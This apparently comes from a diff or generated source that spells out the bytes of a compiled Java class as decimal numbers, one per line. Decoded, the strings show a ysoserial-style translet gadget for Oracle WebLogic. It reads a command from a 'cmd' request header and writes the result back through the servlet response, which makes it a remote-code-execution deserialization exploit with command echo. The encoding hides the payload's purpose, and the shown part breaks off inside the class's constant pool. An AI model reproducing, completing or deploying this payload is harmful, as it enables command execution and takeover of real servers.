+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 102
+
+
+ 111
+
+
+ 114
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 114
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 100
+
+
+ 111
+
+
+ 99
+
+
+ 117
+
+
+ 109
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 66
+
+
+ 91
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ 39
+
+
+ 1
+
+
+ 0
+
+
+ -90
+
+
+ 40
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 68
+
+
+ 79
+
+
+ 77
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 100
+
+
+ 116
+
+
+ 109
+
+
+ 47
+
+
+ 68
+
+
+ 84
+
+
+ 77
+
+
+ 65
+
+
+ 120
+
+
+ 105
+
+
+ 115
+
+
+ 73
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 97
+
+
+ 116
+
+
+ 111
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 104
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 65
+
+
+ 76
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 101
+
+
+ 114
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 72
+
+
+ 97
+
+
+ 110
+
+
+ 100
+
+
+ 108
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 83
+
+
+ 111
+
+
+ 117
+
+
+ 114
+
+
+ 99
+
+
+ 101
+
+
+ 70
+
+
+ 105
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 46
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 7
+
+
+ 0
+
+
+ 40
+
+
+ 1
+
+
+ 0
+
+
+ 51
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 36
+
+
+ 83
+
+
+ 116
+
+
+ 117
+
+
+ 98
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 64
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 114
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 47
+
+
+ 65
+
+
+ 98
+
+
+ 115
+
+
+ 116
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 105
+
+
+ 122
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 57
+
+
+ 99
+
+
+ 111
+
+
+ 109
+
+
+ 47
+
+
+ 115
+
+
+ 117
+
+
+ 110
+
+
+ 47
+
+
+ 111
+
+
+ 114
+
+
+ 103
+
+
+ 47
+
+
+ 97
+
+
+ 112
+
+
+ 97
+
+
+ 99
+
+
+ 104
+
+
+ 101
+
+
+ 47
+
+
+ 120
+
+
+ 97
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 120
+
+
+ 115
+
+
+ 108
+
+
+ 116
+
+
+ 99
+
+
+ 47
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 110
+
+
+ 115
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 112
+
+
+ 97
+
+
+ 121
+
+
+ 108
+
+
+ 111
+
+
+ 97
+
+
+ 100
+
+
+ 115
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 71
+
+
+ 97
+
+
+ 100
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 60
+
+
+ 99
+
+
+ 108
+
+
+ 105
+
+
+ 110
+
+
+ 105
+
+
+ 116
+
+
+ 62
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 42
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 99
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 44
+
+
+ 0
+
+
+ 45
+
+
+ 10
+
+
+ 0
+
+
+ 43
+
+
+ 0
+
+
+ 46
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 117
+
+
+ 116
+
+
+ 101
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 7
+
+
+ 0
+
+
+ 48
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 117
+
+
+ 114
+
+
+ 114
+
+
+ 101
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 119
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 47
+
+
+ 87
+
+
+ 111
+
+
+ 114
+
+
+ 107
+
+
+ 65
+
+
+ 100
+
+
+ 97
+
+
+ 112
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 50
+
+
+ 0
+
+
+ 51
+
+
+ 10
+
+
+ 0
+
+
+ 49
+
+
+ 0
+
+
+ 52
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 115
+
+
+ 116
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 54
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 8
+
+
+ 0
+
+
+ 56
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 72
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 38
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 58
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 60
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 62
+
+
+ 0
+
+
+ 63
+
+
+ 10
+
+
+ 0
+
+
+ 55
+
+
+ 0
+
+
+ 64
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 71
+
+
+ 66
+
+
+ 75
+
+
+ 8
+
+
+ 0
+
+
+ 66
+
+
+ 1
+
+
+ 0
+
+
+ 45
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 101
+
+
+ 115
+
+
+ 112
+
+
+ 111
+
+
+ 110
+
+
+ 115
+
+
+ 101
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 68
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 115
+
+
+ 101
+
+
+ 116
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 69
+
+
+ 110
+
+
+ 99
+
+
+ 111
+
+
+ 100
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 72
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 53
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 74
+
+
+ 0
+
+
+ 75
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ 76
+
+
+ 1
+
+
+ 0
+
+
+ 35
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 120
+
+
+ 109
+
+
+ 108
+
+
+ 47
+
+
+ 117
+
+
+ 116
+
+
+ 105
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 78
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ 80
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 34
+
+
+ 1
+
+
+ 0
+
+
+ 6
+
+
+ 97
+
+
+ 112
+
+
+ 112
+
+
+ 101
+
+
+ 110
+
+
+ 100
+
+
+ 1
+
+
+ 0
+
+
+ 44
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 83
+
+
+ 0
+
+
+ 84
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 85
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 32
+
+
+ 58
+
+
+ 32
+
+
+ 13
+
+
+ 10
+
+
+ 8
+
+
+ 0
+
+
+ 87
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 116
+
+
+ 111
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 1
+
+
+ 0
+
+
+ 20
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 89
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 81
+
+
+ 0
+
+
+ 91
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ 79
